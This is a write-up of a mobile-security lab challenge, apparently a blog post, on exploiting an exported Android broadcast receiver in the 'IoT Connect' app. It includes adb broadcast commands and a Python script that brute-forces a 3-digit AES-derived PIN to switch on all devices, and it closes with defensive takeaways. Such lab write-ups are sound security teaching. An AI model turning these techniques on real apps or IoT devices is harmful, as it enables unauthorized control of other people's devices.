# Mobile Hacking Lab: IoT Connect - Android Broadcast Receiver Challenge

Objective: Exploit an exported broadcast receiver to bypass PIN validation and control IoT devices

This challenge was part of Mobile Hacking Lab exploiting broadcast receiver, IoT Connect. It was interesting to learn about broadcast receivers, AES encryption weaknesses, Let me walk you through.

## Initial Reconnaissance - Manifest Analysis

I started by examining the `AndroidManifest.xml` to identify the attack surface.

```xml
<receiver
    android:name="com.mobilehackinglab.iotconnect.MasterReceiver"
    android:enabled="true"
    android:exported="true">
    <intent-filter>
        <action android:name="MASTER_ON"/>
    </intent-filter>
</receiver>
```

**What I noticed:**

* `MasterReceiver` is **exported** - accessible from outside the app
    
* It listens for the `MASTER_ON` action
    
* No permission requirements protecting it
    

This was a clear entry point for external exploitation.

## First Attempt - Understanding Broadcast Receivers

I tried triggering the receiver using `am broadcast`

```bash
am broadcast -n "com.mobilehackinglab.iotconnect/.MasterReceiver" --es MASTER_ON "1234"
```

**Nothing happened.** I was confused about the proper syntax.

### The Fix - Using Intent Actions

The issue was that I was specifying the component name instead of the intent action. Broadcast receivers respond to **actions**, not component names directly.

**Corrected command:**

```bash
am broadcast -a MASTER_ON --es key "123" -n "com.mobilehackinglab.iotconnect/.MasterReceiver"
```

Still nothing. I needed to understand what the receiver actually does.

## Code Analysis - The Receiver Logic

I started examining the `MasterReceiver` implementation:

```java
public void onReceive(Context context, Intent intent) {
    if (Intrinsics.areEqual(intent.getAction(), "MASTER_ON")) {
        int key = intent.getIntExtra("key", 0);
        if (context != null) {
            if (Checker.INSTANCE.check_key(key)) {
                CommunicationManager.INSTANCE.turnOnAllDevices(context);
                Toast.makeText(context, "All devices are turned on", 1).show();
            } else {
                Toast.makeText(context, "Wrong PIN!!", 1).show();
            }
        }
    }
}
```

**Key observations:**

* The receiver expects an **integer** extra named `key`, not a string
    
* It validates the PIN using `Checker.check_key()`
    
* Success triggers `turnOnAllDevices()`
    

### The Integer Issue

My command was using `--es` (string extra) instead of `--ei` (integer extra):

```bash
am broadcast -a MASTER_ON --ei key "123" -n "com.mobilehackinglab.iotconnect/.MasterReceiver"
```

**Still no Toast appeared.** Why?

## The Toast Problem - App Must Be Running

I used to be an android developer in the past and quickly remembered that **Toast messages require ui context, an foreground activity** to display.

```bash
Toast.makeText(context2, "All devices are turned on", 1).show();
```

The context2 here is the ui context required.

The broadcast receiver works without the app being open, but the Toast won't show. I needed to start the app first:

```bash
am start -n com.mobilehackinglab.iotconnect/.LoginActivity
```

Now when I sent the broadcast:

```bash
am broadcast -a MASTER_ON --ei key 123
```

I saw: **"Wrong PIN!!"**

The receiver was working. Now I just needed the correct PIN.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1770082190250/3187f70d-b08a-4bf3-b2ea-a057101b9275.png align="center")

## Breaking the Encryption - PIN Validation Logic

I examined the `Checker` class to understand the PIN validation:

```java
public final boolean check_key(int key) {
    try {
        return Intrinsics.areEqual(decrypt(ds, key), "master_on");
    } catch (BadPaddingException e) {
        return false;
    }
}

public final String decrypt(String ds, int key) {
    SecretKeySpec secretKey = generateKey(key);
    Cipher cipher = Cipher.getInstance(algorithm + "/ECB/PKCS5Padding");
    cipher.init(2, secretKey);
    byte[] decryptedBytes = cipher.doFinal(Base64.getDecoder().decode(ds));
    return new String(decryptedBytes, Charsets.UTF_8);
}

private final SecretKeySpec generateKey(int staticKey) {
    byte[] keyBytes = new byte[16];
    byte[] staticKeyBytes = String.valueOf(staticKey).getBytes(Charsets.UTF_8);
    System.arraycopy(staticKeyBytes, 0, keyBytes, 0, 
                     Math.min(staticKeyBytes.length, keyBytes.length));
    return new SecretKeySpec(keyBytes, algorithm);
}
```

**The encryption scheme:**

1. The encrypted string is: `OSnaALIWUkpOziVAMycaZQ==`
    
2. The PIN is converted to UTF-8 bytes and zero-padded to 16 bytes (AES key size)
    
3. AES/ECB is used to decrypt the base64-encoded ciphertext
    
4. If the decrypted value equals `"master_on"`, the PIN is correct
    

## Brute Force Attack - Finding the PIN

Since the PIN is only 000-999, I wrote a Python script to brute force it:

```python
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

ENCRYPTED_PIN = "OSnaALIWUkpOziVAMycaZQ=="

def generate_secret_key(static_key):
    key_bytes = bytearray(16)
    static_key_bytes = str(static_key).encode('utf-8')
    key_bytes[:len(static_key_bytes)] = static_key_bytes[:16]
    return bytes(key_bytes)

def decrypt_pin(encrypted_pin, secret_key):
    cipher = AES.new(secret_key, AES.MODE_ECB)
    decrypted = cipher.decrypt(base64.b64decode(encrypted_pin))
    return unpad(decrypted, AES.block_size).decode('utf-8')

for i in range(1000):
    pin = f"{i:03d}"
    secret_key = generate_secret_key(pin)
    try:
        decrypted_pin = decrypt_pin(ENCRYPTED_PIN, secret_key)
        if decrypted_pin == "master_on":
            print("PIN found:", pin)
            break
    except (ValueError, KeyError):
        continue
```

**Result:** PIN found: **345**

## Exploitation - Turning On All Devices

Now I had everything I needed:

```bash
am start -n com.mobilehackinglab.iotconnect/.LoginActivity && am broadcast -a MASTER_ON --ei key 345
```

**Toast displayed:** "All devices are turned on"

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1770082322522/ffa3ba56-628a-4cf1-8dd9-90a42178db35.png align="center")

## Key Takeaways

1. **Intent actions vs component names** - Broadcast receivers respond to actions in intent filters
    
2. **Data types matter** - Using `--ei` for integers vs `--es` for strings is critical
    
3. **Toast visibility** - Toasts require a foreground activity context to display
    
4. **Weak encryption** - Using a small keyspace (3-digit PIN) makes brute force trivial
    
5. **AES key derivation** - Simply zero-padding a PIN to 16 bytes is cryptographically weak
    

Dis*claimer: While all technical work and problem-solving was done by me, this writeup was edited with assistance from an LLM to improve grammar, clarity, and flow.*
